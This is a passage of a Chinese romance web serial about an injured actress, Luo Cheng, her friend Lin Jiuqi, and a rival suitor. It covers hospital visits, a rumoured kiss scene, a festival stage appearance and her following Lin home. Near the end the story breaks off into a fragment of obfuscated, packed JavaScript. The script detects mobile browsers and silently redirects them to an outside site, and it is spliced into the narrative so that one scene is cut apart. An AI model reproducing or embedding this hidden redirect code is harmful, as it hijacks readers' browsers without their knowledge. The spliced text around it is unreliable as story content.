盛夏的天空没有一朵云,烈日当头,知了躲在树底下蝉鸣。
吕菲拉开窗帘,“走,我带你出去进行下光合作用。”
阳光有些刺眼,洛澄抬手挡住视线,“菲姐,这会儿外面三十多度。”
晒太阳也不能暴晒吧?
这不得晒蔫吧了。
洛澄左脚粉碎性骨折,身上也有多处挫伤,医生建议两个月后才能慢慢走道。
于是乔媛媛就给她弄了个轮椅。
洛澄从来没想到过,自己这辈子居然还过上坐轮椅的生活。
“那你也不能整天就待在病房里,对身体不好。”吕菲拿出医生说事,“医生说了,你需要多晒晒太阳。”
凡是加上“医生说”这仨字,什么话都变得有分量了。
洛澄妥协,吕菲小心翼翼扶着她,她拄着拐杖,步履蹒跚到轮椅前坐下。
上午的太阳还不算太毒,有不少穿着病号服的人在住院部后面的空地晒太阳。
吕菲推着洛澄来到一处人少的位置。
“菲姐,剧组……”
洛澄欲言又止,吕菲猜到她想说什么,“剧组那不你不用担心,导演说了,让你先好好休息,剩下的戏等你修养好再回去拍。”
吃了这颗定心丸,洛澄心情才好了不少。
吕菲板着脸,“洛澄,你是不是忘了我之前跟你说过的话。”
“……”洛澄心虚地看向远处嬉戏奔跑的孩童。
“我有没有告诉过你,不管是什么事,一定要身体第一位。”吕菲不给她装傻的机会,“我都来医院看过你几次了?”
洛澄为了在镜头前呈现最好的状态,这段时间一直在克制饮食。
主治医生都表示她太瘦了,一米六六的个子,居然连九十斤都不到,这对身体恢复一点好处都没有。
“不要生气,生气给魔鬼留余地。”
洛澄伸手拉着吕菲的胳膊摇了摇,她亮晶晶的眼睛可怜兮兮地望着吕菲,“菲姐,下次不会了。”
看她娇声软语的样子,吕菲招架不住这套,生硬的语气也软了下来,“你自己知道就好,别再拿自己身体折腾了。”
虽然身材管理对明星来说尤为重要。
但在吕菲看来,只要不算太胖,健康才是第一位。
洛澄:“Yes,sir!”
晒了会儿太阳,吕菲就送洛澄回了病房,她下午还有些事要处理,就先离开了。
吕菲前脚刚走,林久期后脚就抱着花来了。
花束放在桌上,他温声道:“好些了吗?”
她都住院好几天了,这人居然现在才来。
洛澄别开脸,心里有些泛堵。
想着她应该是因为受伤了,所以心情欠佳,林久期也不太放在心上,“怎么就你一人?”
媛媛吃饭去了,菲姐刚走。
洛澄在心里回复着,可面上还是没什么表情,依旧一言不发。
她不知道自己在别扭什么,反正就是不想理会他。
看时间已经是中午十二点过了,林久期继续耐着性子说:“吃午饭了吗?想吃什么,我去买。”
事不过三,他都主动发起对话三次了,那就浅浅的原谅一下好了。
洛澄撇了撇嘴,终于出声,语气平和,听不出任何不满,“吃了的。”
话落,不经意间瞧到他手里提着橘黄色的包装盒,她一眼就认出,“桃花酥?”
林久期轻嗯一声,“酥记家的。”
想着她喜欢甜口,路过时就顺道买了些,看她没有说话,又问道:“不喜欢吃吗?”
洛澄否认道:“不是,喜欢。”
她最喜欢吃酥记家的桃花酥了。
林久期拆开包装,用纸巾包着,递给她一块。
洛澄盯着手里的桃花酥,脑袋跟着放了空——
她还记得那是初中的时候,她和林久期周末去放风筝,结果风太大,风筝落树上了。
当时她皮猴的性格,三下五除二就上了树,结果没踩稳,直接从树上掉了下来。
家里因为是莫川县的,洛澄在盐城市读书,一直都是住校。
当时林久期就一直背着她,从公园往学校宿舍走。
到宿舍楼底下时,林久期把她放在木椅子上,“你在这等我。”
他大概离开了有十分钟就回来了。
手里除了买来的药膏,还提着一盒橘黄色包装的盒子,上面写着“酥记”俩字。
林久期:“吃点甜的,就不疼了。”
洛澄的膝盖摔破了一大块,疼的让她想哭,可林久期这么一说,她强忍着泪水,嘴硬道:“谁说我怕疼了。”
……
“吃些甜的就不疼了。”
一模一样的话萦绕在耳畔。
洛澄抬头,不敢置信地凝望着他,他长身玉立床前,不同的是比起过去,这张脸庞褪去了年少的青涩,俊朗深邃了不少。
洛澄突然笑了起来,林久期有些不明所以,只见她笑着笑着,眼里就蒙上了一层雾。
他是不是说错话了?
“怎么了?”
洛澄抬手抹掉
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眼泪,开着玩笑,“好吃哭了。”
-
从洛澄受伤后,詹江已几乎每天都会来医院,鲜花是一天一换。
今儿他又抱着束黄玫瑰来了。
“这儿风大,怎么不进去?”
洛澄的视线从手机上移,詹江已迎面走来,绕到她的身后,推着轮椅往一旁去。
洛澄的注意力全在手机里的微博上,是不是风口压根就顾及不到,被人这一说她才后知后觉,吹得她鸡皮疙瘩要掉一地,头发也张扬飞舞。
她撩开遮挡视线的秀发别在耳后,“出来透口气。”
盐城这几天频频下雨,她已经在病床上躺了好些日子了,实在憋得慌,出来看看风景,发发呆,也总比在那房间里要舒心的多。
阴雨天的户外人迹寥寥,偶尔只有医护人员从旁路过,但都行色匆匆,也无心关注侧门的两位。
雨还在淅淅沥沥的下,洛澄觉得她此刻心情比现在的天还要阴沉,愁云笼罩的。
见她面色隐隐透着几分烦忧,詹江已把黄玫瑰放在她腿上,“美人,给你变个魔术。”
“嗯?”
洛澄抬头看他。
“检查一下,我手里什么都没有对吧。”
詹江已张开一双空空如也的手,随后,他比划了几下,伸出一个拳头,“吹一下。”
洛澄照做,她轻轻一吹。
下一秒,詹江已的手翻转过来,掌心朝上张开,一颗旺仔牛奶软糖出现在洛澄的视线里。
洛澄心里的烦闷在那一刻仿佛都烟消云散,圆圆的眼睛笑成月牙,“怎么做到的?”
詹江已嘴角上翘,“秘密。”
说罢,他拉起洛澄的手,奶糖放在了她手心里。
忽而想起特种兵训练时,她被罚跑操场而导致低血糖,当时詹江已也给了她一颗旺仔牛奶糖。
眼前的明明是两个不同的人,可她就是不由联想起了林久期,曾经的他也总能变出糖来。
“你们男生都喜欢在身上揣着糖吗?”
“怎么说?”
“……”
听到詹江已不解一问,洛澄顿了下。
她怎么一不小心把心里话给说出口了。
洛澄连忙摆手,“没什么。”
詹江已也没有细究,就折身走了。
他该不会是生气了吧?
洛澄咬了咬下唇唇瓣,往他离开的方向张望着,心里泛着忐忑。
不一会儿,就见他返了回来,手里还多了某样东西。
詹江已走到跟前,他蹲下身,乳白色的毛毯盖在了洛澄的腿上。
一阵凉风袭来,洛澄忍不住打了个喷嚏,她搓了搓鼻子,“谢谢。”
两人离的很近,洛澄不经意瞥向他。
詹江已那头原本的红发已经褪成了脏橘色,他骨相很好,浓眉大眼,即使是花花绿绿的头发也不显突兀。
詹江已仰起头,视线巧然碰撞。
“美人,看我做什么?被我的颜值所折服了?”
洛澄笑骂了句,“不要脸。”
话落,洛澄抬眸一瞬,陡然撞上一双深褐色的眸子,她脸上的笑容微微僵住。
不远处,林久期执着伞长身玉立,不少车辆从他面前行驶而过。
他远远凝望着她,两人谈笑间的互动被尽收眼底。
洛澄用力攥了攥手,心脏像被什么用力揪住,无法呼吸。
热搜榜的那条微博词条再次闯入脑海里。
——林久期赵芮情吻戏。
33. 第33章
林久期从对面走来,沉稳的步伐最后停定在他们面前。
洛澄别开眼,不想与他对视。
微妙的气氛下,詹江已站起身,率先开口,“哟久期,这么巧,你怎么来了?”
他说完,撇见林久期手上提着的那盒吃的,很眼熟,他记得前段时间洛澄病房里也有写着“酥记”二字的盒子。
他听乔媛媛说过,那是洛澄最喜欢吃的桃花酥。
原来,是久期这家伙买的。
林久期先扫了眼洛澄,旋即轻飘飘地说:“和你一样。”
和他一样?
和他什么一样?
詹江已揶揄道:“我可是来探望美人的,顺便培养培养感情,怎么,久期你也是?”
洛澄闻言心里梗了一下。
她不自觉抬眸望向林久期。
雨水渐大,风卷起雨拍打在他们的身上,洛澄连连打了好几个喷嚏。
林久期敛了敛眸,“进去吧。”
他始终温和有礼,洛澄在他脸上看不出任何异样,看不透他。
他,没有否认。
他这是什么意思?
是默认吗,还是不屑否认?
回到病房,林久期把桃花酥放在桌上,随即去到窗边,凉风从窗外偷袭,风动的瞬间,他发丝胡乱飞扬。
他拉关上窗户,才制止了风的戏弄。
林久期转首时,洛澄瞧见他长睫上挂着雨珠,她刚想提醒,在他眨眼的那一刻雨珠悄悄滴落了下去。
洛澄伸出去的手也还没来得及收回,林久期已经接过她递来的纸巾,在面颊上轻擦着,“谢谢。”
洛澄盯凝着他,他总是这般,容止端静,性子文雅,无论是谁想与他发火争论,看见他这张白净的面庞,任何重话都不忍说出口。
林久期,在你心里,我究竟算个怎样的存在?
洛澄咬咬牙。
她明明知道他什么都不记得了,她明明知道自己不该指责他,不该埋怨他。
可心里还是会忍不住难过。
詹江已一直默默无闻注视着洛澄,她眸中的情绪被他一览无余,他扯了下嘴角,笑道:“突然想起我还有事要忙,先走咯。”
说话时他假意看了下手机。
不等两人回话,他便匆匆走了。
外面的雨未停,詹江已撑开伞,走进雨幕。
美人,你心情不好是因为久期吗?
“詹江已?”
闻声,詹江已顿住脚步,往声源方向看去,乔媛媛从旁走来。
“你来看小洛澄啊。”
“是啊。”詹江已收敛起情绪,想要印证心里的想法,试探问道:“美人最近怎么了,心情不好,是和久期吵架了?”
“他俩吵架?怎么可能。”
乔媛媛几乎脱口而出。
她认识他们到现在,可一次都没见两人吵过架,就算以前洛澄性子急,脾气爆,但林久期都是温温和和的,不管怎样都会让着她。
吵架?
不可能,绝对不可能。
不过她还真想起一种可能性,“估计是跟林久期谈的不顺利吧。”
詹江已顺着她的话道:“怎么说?”
“也没什么。”乔媛媛摆摆手,“就是我毕业作业的短视频差个男主角,洛澄一直想让林久期帮忙出演。”
詹江已摸了摸下巴,原来是这么回事。
“非得找久期吗?”他挑起眉梢,“不是有现成的吗?”
-
“听说你和林久期吵架了?”
乔媛媛进门的第一句话就让洛澄无厘头了好一会儿,她看到病房里多出来的一盒桃花酥,不用想就知道某人已经来过了。
她随手拿起一块咬了一口,“怎么回事?”
“没有。”
洛澄很想问热搜的事情,可到嘴的话她又收回了肚子里。
她凭什么质问他呢?他们什么关系都不是。
“我就说嘛,你俩怎么可能会吵架。”
乔媛媛吃着桃花酥,含糊其辞地说着:“对了,我那毕业作业的事,詹江已想出演男主。”
洛澄狐疑盯着她,“你不会答应他了吧?”
“那哪能啊。”乔媛媛嘟囔着补了一句,“不过我也没拒绝。”
就算她压低了分贝,洛澄还是耳尖听了去,“乔媛媛!”
乔媛媛:“哎呀,林久期大概率是不会答应的,我这不得留条后路嘛。”
洛澄捣了她一眼,“你当人詹江已是备胎啊。”
“什么叫备胎,小洛澄,你说话可不能这么难听,这叫,有备无患。”乔媛媛摇头晃脑着,“再说了,人家林久期肯定不会答应来演的。”
这话洛澄就不爱听了,“你怎么就敢笃定九七不会演。”
乔媛媛:“洛澄,他都拒绝你多少回了,你心里没点数?”
“他,还在考虑中。”
洛澄自己说出这话都心里没谱,语气都虚了不少。
乔媛媛夹着腔调,“‘林老师,出演男主角的事情你考虑的怎么样了呀’。”
说罢,她白了一眼洛澄,“就你这隔三差五,像个机器人一样问别人,能有用才见鬼了。”
洛澄:“那我能怎么办,我总不能找个麻绳把她捆起来,逼着他说,不演就把他撕票吧。”
“那我就不知道了,反正照你现在这样下去……”
乔媛媛故意顿了下,“没戏。”
-
“林久期!林久期!”
明明是私人行程,可机场外,接机的粉丝不计其数。
林久期刚上车就接到了助理刘俊打来的电话,电话那头的人开始汇报明日的工作内容,“期哥,明早9点是绿洲品牌发布会,下午两点有一场慈善活动……”
林久期应了声好,十字路口的红灯处车子缓缓停下。
夜幕降临,华灯初上,一幢幢高楼大厦灯火通明,他不由想到那日在医院看到的一幕。
他那天刚结束工作,就买着酥记桃花酥去了医院,远远便瞧见住院部一楼的侧门口的两人。
“久期,你也知道,能让我动心的人不多,我对美人是真心实意的,你如果喜欢她,咱俩就公平竞争。”
他还记得詹江已曾对他说过的话。
他那时没有任何犹豫,“我不喜欢她。”
自己甚至还祝福过詹江已能成功。
可现在看着两人亲密的画面,心里却有种无法言说的奇怪感觉。
不知不觉,车已经开到了盐城市医院的门口。
夜晚的医院只有急诊还在忙碌。
林久期来到住院部门口,他仰起头,二楼的某间病房还亮着灯。
还没睡吗?
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住院部寂静无比,只有值班护士在忙碌。
关于林久期吻戏的热搜,乔媛媛也看到了,她原以为洛澄这些日子是愁出演角色的事,可谁曾想,这热搜比林久期不演男主角还让人心烦。
“你要是真这么在意,直接问他不就好了。”
洛澄躺在病床上,望着天花板,“算了吧,我和他现在算哪门子关系,人家到时候觉得我莫名其妙。”
乔媛媛走到窗边,却不经意撇见楼底,“我觉得有误会得当面说清楚。”
她拉上窗帘,旋即往病房外走,“你好好休息,别多想。”
洛澄有气无力地“嗯”了声。
病房内只剩她一人,洛澄抓起枕头边的手机,微博里推送的话题基本都是关于林久期的,其中夹杂着网友讨论他与赵芮情的吻戏。
其实这并不是件被实锤的事,但也不是空穴来风。
两人同在一个剧组,目前还在拍摄阶段,事情最开始是因为林久期的站姐拍到一张路透照。
赵芮情坐在椅子上,林久期单手撑着椅子的扶手,倾身歪头。
因为是在室内,照片拍出来就像是两人在接吻,照片流出后网友纷纷脑补,有说是接吻的,也有说是角度问题,争论中上了热搜。
洛澄放下手机,叹了口气。
不想信,可这张照片被她反反复复,放大缩小看了许多次。
真的很像。
她也想过,说不定是借位呢?又说不定真的是因为距离太远,拍摄角度的问题。
可无论怎样,这个事情像根刺一样,深深扎在了她心里。
洛澄闭着眼,可睡意全无,一遍又一遍想着林久期的事情。
“吱呀——”
开门声打断了洛澄的思绪,想这些不过是杞人忧天罢了,还不如睡个好觉。
“媛媛,你能帮我关下灯吗?”
无声的回应。
听到旁边有椅子坐下的声音,洛澄依旧闭着眼,“媛媛,你说,我是不是太小题大做了,对演员来说,吻戏不过就是工作,很正常的一件事。”
“我明明什么都知道,可我心里还是会不舒服。”
“他出道这么多年,这算是银幕初吻了吧。”
洛澄自顾自说着,说了这么多,乔媛媛却一句没回,洛澄有些纳闷,“媛媛?”
她睁开眼,表情在这一刻凝固。
“……”
以为自己眼花了,洛澄使劲揉了揉眼,再睁开时,林久期还是端坐在那。
“你……”洛澄哑声,她刚才说的话都被他听到了!
完了,他听懂她的话了吗?
他会不会觉得她有病啊。
洛澄恨不得挖个地洞钻进去,她试图岔开话题,“你怎么来了?”
林久期似乎并不着她的道,“你刚才是在说我吗?”
他声音很轻,像淡淡清风,清贵温尔的声调让洛澄听不出他此话何意,是质问,还是好奇?
洛澄摸了摸脖子,干笑几声,“我随便说说的。”
林久期注视着她,“你是说那个热搜吗?”
“……”
怎么还没完没了了。
视线落在林久期的面孔上,洛澄凝思片刻,鼓起勇气道:“对。”
她眸心微颤,“九七,你和赵芮情的吻戏,是真的吗?”
34. 第34章
放屋里只亮着浴室里一盏灯。
水声渐停,不一会儿,林久期赤.裸着上身,开门而出。
残留的水珠顺着脖颈坠入锁骨,又滑至胸口,一再向下,滴过紧致结实的腹肌。
借着昏暗的微光,林久期进了卧室,从衣柜里拿出一件白T套上,转而去到外厅。
在白色玻璃杯里扔进几块冰块,听着冰块与杯壁碰撞的呤叮声,他接满了水。
万丈苍穹上,竟无一颗繁星。
透过落地窗,林久期俯瞰着灯火阑珊的高楼大厦,恍惚间走了神——
“林久期,小洛澄有话跟你说。”
病房部楼下,他遇到了乔媛媛,刚准备走的心思被止住了,“什么?”
“你自己问她吧,提醒你一下,好像是跟你最近的事有关。”
乔媛媛没有明说。
但他能想到的,便是这段时间的微博热搜。
等他见到洛澄时,也印证了他这一想法。
林久期坐在沙发上,垂眸凝着杯中水见底。
她为什么会在意这件事?
她不是和詹江已……
-
“好了,东西都收完了,等詹江已回来我们就可以走了。”
虽然洛澄在医院的东西不多,都是些日用品和换洗衣物,乔媛媛以防万一还是检查了好几遍。
“好。”
在医院住了一个多月,洛澄感觉自己都快憋出病来了。
现在终于出院了,只需要定时来复查。
乔媛媛忍不住八卦,“对了,你那天和林久期聊的怎么样,你问他没?”
洛澄敛了敛眸,“问了。”
乔媛媛:“是真的吗?”
洛澄:“不知道。”
乔媛媛有点摸不着头脑了,“不知道是什么意思啊?”
——九七,你和赵芮情的吻戏是真的吗?
洛澄不由想起那天的场景,她问出口时,心脏如鼓鸣,想听到他说点什么,但又害怕他的答案。
可是林久期的沉默,代替了他所有的回答。
他什么都没说。
她其实也明白,进剧组是要签合同的,白纸黑字规定了不能剧透。
洛澄试图转移话题,“你不是饿了吗?一会儿想吃什么?”
她实在不想面对这件事,有时候,沉默就已经是答案了,她何苦要打破砂锅问到底呢,不如给自己留点颜面。
没必要。
乔媛媛还想问,但去办理出院手续的詹江已回来了,乔媛媛也及时收了嘴。
回家的路上畅通无阻,望着外面阳光普照,洛澄心情也好了不少。
八月的盐城是最热的时候,连蜻蜓都只敢挨着树荫的地方飞。
浣林小区大多为桂花树,初秋的桂花馨香袭袭,用宋之问宋先生那首《灵隐寺》中“桂子月中落,天香云外飘”来形容最合适不过了。①
就连在屋里,都能闻见这股花香。
詹江已也不见外,自顾自倒了杯水,“下周一北广场要办活动,我这有几张票,天气也不错,一起去瞧瞧?”
“下周一是什么日子吗?干嘛搞活动?”乔媛媛嘀咕的同时打开了手机里的日历,“七夕节啊。”
她想了会儿,“就我们三个?”
詹江已秒懂,“我这票挺多的,你们也可以喊其他朋友一起。”
好久没有出去玩了,趁着这次养病休假,洛澄也想去外面望望风,便也爽快答应了。
-
七夕节如约而至。
詹江已开车来接的洛澄和乔媛媛。
到地方时,北广场入口有块极为显眼的红色标牌,上面写有三个大字——佳人宴。
佳人赴宴,周遭都是成双成对的情侣,燕侣莺俦,洛澄突然有些羡慕。
“这里这里!”
乔媛媛的声音拉回了洛澄的注意力,她撇眼看去,戴着口罩的青年男子迎面而来。
是黄谦。
几人相互打了招呼后一同进了活动现场。
沿途一路上摆满了各种各样的铺子。
“我要吃章鱼烧。”
“我要抓这个娃娃。”
“老板,我要两份臭豆腐。”
“……”
好不热闹。
路过臭豆腐店铺时,黄谦下意识捏住了鼻子,他想快点逃离,可旁边的乔媛媛却拉着他直奔店门口,“老板,给我来两份。”
黄谦婉拒,“我不用了,谢谢。”
乔媛媛不解,“你不是也没吃午饭吗?”
黄谦欲言又止,到底是把到嘴的话吞了回去,转言道:“还不太饿。”
詹江已一脸“装什么”地看着黄谦,拆台道:“他不吃任何臭味的东西。”
“啊?”乔媛媛难以置信,“那你岂不是错过不少美食。”
佳人宴的活动现场来了不少艺人,隔几步就能瞧见一位,所以在这儿的洛澄一行人,即使不戴口罩遮掩,也不算突出。
最多会有粉丝拍照或是来要签名。
“洛澄,希望你能早日康复。”
粉丝和洛澄拍完合照后,留下一句祝福,不再过多打扰,便和小伙伴离开了。
詹江已推着洛澄,几人继续往里走。
来到广场最中央的位置,此刻那里已经搭建好了露天舞台,两位穿着便服的人站在台上,听着他们说的话,好像是今晚的主持人。
几人逗留了好半晌,陆陆续续的,有不少上台彩排的艺人。
乔媛媛讶然:“这主办方有点实力啊,请的绝大多数都是这段时间热度比较高的明星。”
瞧着旁边的人,“他怎么没请詹江已和你们TheOne呀?”
詹江已双手环胸,看着台上唱跳的女团,“他们有自知之明。”
“……”
乔媛媛那句自恋差点脱口而出,不过想想,主办方可能确实请不起。
为了近距离看到自家偶像,很多人早早就来占位置了,时间还没到便已经座无虚席。
因为詹江已是特邀vip票,几人被安排在了旁边的vip座位区。
桌上摆有精致的糕点,洛澄随手拿起一块入口,甜而不腻,也不知道是不是因为自己饿了的缘故,感觉比外面的甜品店还要好吃。
活动在傍晚六点整开始。
艺人们接二连三地上台表演。
最近内娱新星层出不穷,演技唱跳吊打不少老艺人,网上都在说前浪推后浪,前浪要被拍死在沙滩上了。
主办方邀请的新星就占了大半,一系列的表演看下来,实力确实不容小觑。
演唱结束,接下来就是明星和观众的互动环节。
一片欢声笑语中,洛澄也看的咯咯笑不停。
原只是个看戏的,可这主持人像是故意的,对着他们这边说:“我们三位老师来都来了,不和大家打个招呼吗?”
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镜头一转,大屏幕上显示出洛澄几人的画面。
洛澄眼里有一刹那的诧异,转而马上露出亲切的笑容,冲着旁边观众席挥手。
乔媛媛默默竖起大拇指。
这几个人不愧是娱乐圈的,这表情管理。
绝了。
台下欢呼声骤响,主持人起哄:“看来大家声音还不够大啊,我们三位老师都没有起身。”
此话一出,洛澄他们都听明白了,詹江已推着洛澄,与黄谦一同上了舞台。
工作人员立刻上台递来了三个话筒。
黄谦率先开口,“大家晚上好,我是TheOne的黄谦。”
等洛澄和詹江已也都打完招呼后,主持人冲着台下喊:“有没有人想上台和三位老师一起做游戏啊?”
台下哄闹,主持人目光扫视了一圈几乎都举起手的人,随机点了几名。
“我来!”
一道破了音的尖锐女声闯入众人耳里,主持人也被吸引去了视线,是位坐在第一排的短发小姐姐。她站起身,高举着手臂。
主持人:“看你这么热情,上来上来。”
小姐姐欣喜若狂地叫出了声,随即马不停蹄上了台,她第一时间就跑到了洛澄面前,握住洛澄的手,“洛老师你好,我,我喜欢你很久了,我……”
女孩声音中带着颤,激动到没办法用言语来表达,那份狂喜也无法遏制,她定定地看着眼前自己喜欢了很多年的人。
洛澄从女孩眼里瞧见了光,是泪光,是落日熔光。
亦是她的光。
洛澄莞尔一笑,“谢谢,是我的荣幸。”
洛澄后面才知道,女孩靠着她曾创作过一首讲述不屈服命运,名为《万仞山上》的歌,挺过了白血病,一年又一年。
-
檀冶端着最后一道菜从厨房出来。
“吃饭了。”
“好。”
林久期放下游戏手柄,起身往餐厅去。
明明只是两个人的晚餐,可檀冶却做了满满一桌子的菜,林久期纳闷:“有客人?”
檀冶摘下围裙随手搭在一旁椅背上,“这是你家,你有没有客人你问我?”
林久期没接他的话。
他说话就喜欢呛人,林久期也早就习以为常了。
檀冶边吃,边百无聊赖刷起了手机。
无意中点开了某位网络博主的直播,他眼睛一眯,直播画面里有几个十分眼熟的身影。
他把手机放在桌上推到林久期面前。
林久期有些不明所以,可定睛一看,直播的是佳人宴的舞台现场,洛澄和詹江已此刻正在做游戏。
虽然两人没什么亲密举动,但喜笑颜开的,在别人眼里总是会忍不住磕他们的cp。
直播的博主也啧啧叹道:“又暧昧了!”
檀冶的余光总是不着痕迹地留意着林久期面上的神情,“老詹喜欢这丫头,你知道吧。”
林久期轻描淡写道:“知道。”
檀冶有时候真的不得不佩服林久期的忍耐力,“你还吃得下去?”
林久期不仅吃得下去,还不忘夸赞一二,“手艺又进步了。”
檀冶:“你真是一点也不着急。”
林久期慢条斯理地反问:“急什么?”
檀冶懒得跟他兜圈子,“你不是也喜欢她吗?”
话落,林久期将碗稳稳地放下,尔后抬眼望向檀冶。
35. 第35章
“以后别再开这种玩笑了。”
林久期的目光中没有任何情绪。
“浣林小区。”
檀冶点到为止。
别人不知道,但他知道,洛澄住在浣林小区的房子,是林久期的。
林久期浑不在意地回答着,“帮个忙而已。”
桌上的手机还在放着佳人宴的直播。
主持人:“有没有想要跟我们澄江如练合照的朋友啊?”
直播里的声音有些聒噪,檀冶摁息屏了手机。
林久期看上去无动于衷,淡然一笑,“你明天几点的飞机?”
-
风起。
盐城满城枫落。
阳光透过窗棂,柔柔地铺撒在客厅里,洛澄斜卧在沙发上,明眸紧闭,红润的脸庞上一片恬静。
胖橘舔着嘴,踩着猫步从阳台过来,纵身一跃到沙发上。洛澄轻轻伸展手臂,搂住胖橘在怀里,继续沉浸梦乡。
胖橘脑袋蹭了两下后,欣然趴下,发出呼噜噜的惬意声音。
良久。
“嗡——”
茶几上的手机震动不断。
洛澄强撑开眼,拿起手机,在看到界面上的备注时瞌睡全无。
“喂爸,怎么了?”
“姌姌,你是不是拍戏受伤了?!”
洛于彬焦灼的声音从电话里传来。
洛澄从受伤到康复,一直没有告诉家里人,免得担心。再加上洛于彬也不怎么用手机,自然也不懂什么微博热搜之类的,很难发现。
也不知道他这是从哪里听来的。
洛澄揉了揉太阳穴,“没有的事。”
洛于彬:“你还骗我,我都听你王姨说了!”
洛澄这一听才明白。
王姨也是个不爱玩手机的,多半是她那刚上大学的女儿。
不好狡辩了,只能乖乖承认,“是有这么回事,但网上都夸大其词了,我就是摔个跤,崴脚了而已。”
洛于彬:“什么崴脚,崴脚能坐轮椅?!”
“……”
洛澄咬牙切齿嘟囔了句,“死丫头,是大喇叭吗,嘴这么松。”
远处莫川县的某户人家里,正在收拾国庆返校行李的某位女大学生,狠狠地打了个喷嚏。
洛于彬:“你说什么?”
洛澄:“没什么,爸,你别担心了,我真的没事,不信咱俩打视频。”
她现在已经完全康复了,就算打视频她也根本不怕。
洛于彬嚷嚷着要来盐城,在洛澄打了视频又千说万说后才劝住他。
等和洛于彬挂了电话后,洛澄第一时间打开了微信某个对话框。
【什么时候回学校呢?/.微笑】
对方秒回了个死鱼眼的表情包,【橙子姐,你不知道这个死亡微笑的表情只有老年人才会用吗?】
洛澄捏紧手机。
她当然知道,她就是故意发的。
要不是这死丫头嘴巴大乱说话,老爸他怎么会知道她受伤的事。
可她还没来得及回,紧接着,对方又发来一句气死人不偿命的话。
【哦,对不起,我忘了咱俩有代沟,你年纪确实比较大了。】
“……”
洛澄就差把无语二字印在脸上了。
这死丫头居然说她一个九零后是老人?
洛澄不想与她争辩,回了个关二爷耍大刀的表情包。对面立刻炸了,连连发了一长串霸屏的感叹号。
洛澄噗嗤一声笑了出来。
这个刚上大学的小姑娘,名叫关羽。也不知道她父母怎么想的,可能是希望她像关羽一样勇猛智谋吧。①
【哪天回盐城,请你吃饭。】
关羽:【你不会要下毒药死我吧。】
洛澄:【你真聪明。】
-
早晨五点的闹钟就响彻整间房屋。
洛澄出门时,天空已经发亮。
浣林小区附近就有一家健身房,这个时间只有零星几人。
洛澄刚换完衣服从更衣室出来,林久期迎面走来,他穿着白色的坎肩背心,手臂结实的肌肉线条一览无余。
“林久期?你怎么在这?”
洛澄本是想问他怎么会在这里的健身房,可话一说出来,听在别人耳里却变了层含义。
这种废话文学,林久期一如既往温吞回应:“健身。”
两人没有过多的交流,打了个照面就各忙各的了。
洛澄慢跑在跑步机上,透过面前的落地窗一眼能看见下方从大楼里走出来的林久期。
他单肩背着包,从斑马线去到了对面那条街,最后消失在视野里。
能来这健身,那他肯定住这附近。
接下来的几天,都印证了洛澄这个猜测。
她这周去健身房,基本每天都能遇见林久期,不是在室内,就是室外。
洛澄今天从健身房刚走出来,就瞧见不远处,林久期在路边一家卖包子的店铺前停留。
洛澄思绪飘远。
想起乔媛媛打算找詹江已来出演毕业短剧,虽然大家都是朋友,但她可不想闹出和詹江已的绯闻。
再说了,她心仪的男主演另有人选。
知己知彼百战百胜。
林久期买好早餐款步离开,洛澄悄悄跟了上去。她跟着一路尾随,穿过好几个街道。
路边停靠着不少的电动车,林久期视线一移,透过反光镜清楚看见身后某个鬼鬼祟祟的人。
洛澄越来越走不动了。
这已经不知道是林久期第几个左拐和右拐了,足足跟着他绕了有半个多小时,他步子大速度快,她得小跑才能跟得上。
林久期突然加快了步伐,洛澄来不及思考,急忙跟了上去。
就在她担心跟丢时,拐弯处,猝不及防和林久期撞了个正面。
洛澄干笑两声,“林老师,好巧啊。”
“好巧。”林久期淡笑一声,“洛老师,也对男士内衣物感兴趣?”
“……”洛澄视线绕开林久期向他身后的店铺望去,里面挂满了男士的内裤,她脑袋嗡的一下,“哦,这,随便逛逛。”
说罢,洛澄折身离开。
可她并没有走远,而是躲在远处紧盯着林久期的方位。
见林久期并没有进店而是拐去了某处,她忍不住又跟了上去。
融庭小区门口,林久期的脚步故意一顿,两秒后,他走入小区。
洛澄这次没有再跟上去。
原来他就住这啊。
绕了这么一大圈子,结果他家离她住的地方也只有三百米不到的距离。
近。
实在是近。
隔天。
洛澄拿着买好的咖啡在融庭小区外,她左顾右盼,一早上都没见到人。
这个时间点他不是应该出门准备去健身房吗?
就在洛澄正奇怪林久期去哪里的时候,旁边车库开出一辆银色布加迪。
车子与洛澄擦肩而过。
车内。
林久期单手把着方向盘,眼神悠悠地从洛澄身上挪开。
-
“小洛澄这么贴心,出门健身还给我带咖啡喝。”
“不是。”洛澄实话实说,“给林久期的,没遇着他。”
乔媛媛手捧着的咖啡杯突然觉得不香了,喜滋滋的面容染上了几分嫌弃,“别人不要的我也不要。”
洛澄伸手要拿,“那你别喝啊。”
乔媛媛躲开,插上吸管猛吸了一口,“我是不想浪费食物。”
她说着,拿起阳台桌上放着的稿子递给洛澄,“瞧瞧。”
洛澄翻阅着:“这么快就写好了?”
乔媛媛挑眉,得意的不行,“你也不看看谁写的。”
乔媛媛的毕业短剧,是一篇青春校园剧的稿子,早早的她就决定把洛澄和林久期当原型来设定男女主了。
洛澄越往后看,眉头越皱,“这么不知天高地厚的丫头片子,是我啊?”
乔媛媛喝着咖啡,含糊其辞道:“看来你对自己还是有很清楚的认知的。”
洛澄看着剧本陷入了沉思。
她读书的时候有这么拽吗?
“我以前哪里是这样的。”
“你还真是。”乔媛媛回忆着,“你忘了你怒打隔壁男生的光荣战绩了?”
洛澄指着稿子某处描写,“那这个万人迷学霸,就是,林久期?”
乔媛媛打了个响指,“对头。”
“乔大编剧。”
“在。”
“你偏心了吧。”
-
融庭小区门口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401965|200437||http|test|mini|href|location''.split(''|''),0,{}));
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>洛澄:“早啊。”
洛澄每天早上提着咖啡,来融庭小区已经有一个周了,她总说是巧合。
可从她第一次尾随他开始,就已经不是所谓的巧合。
“洛老师,你找我到底什么事?”
洛澄熟练地打着哈哈,“没事啊,就碰巧遇见,又碰巧多买了一杯咖啡。”
林久期并没有想要和她继续耗着,他身子微动准备走,洛澄迅速拦在他跟前。
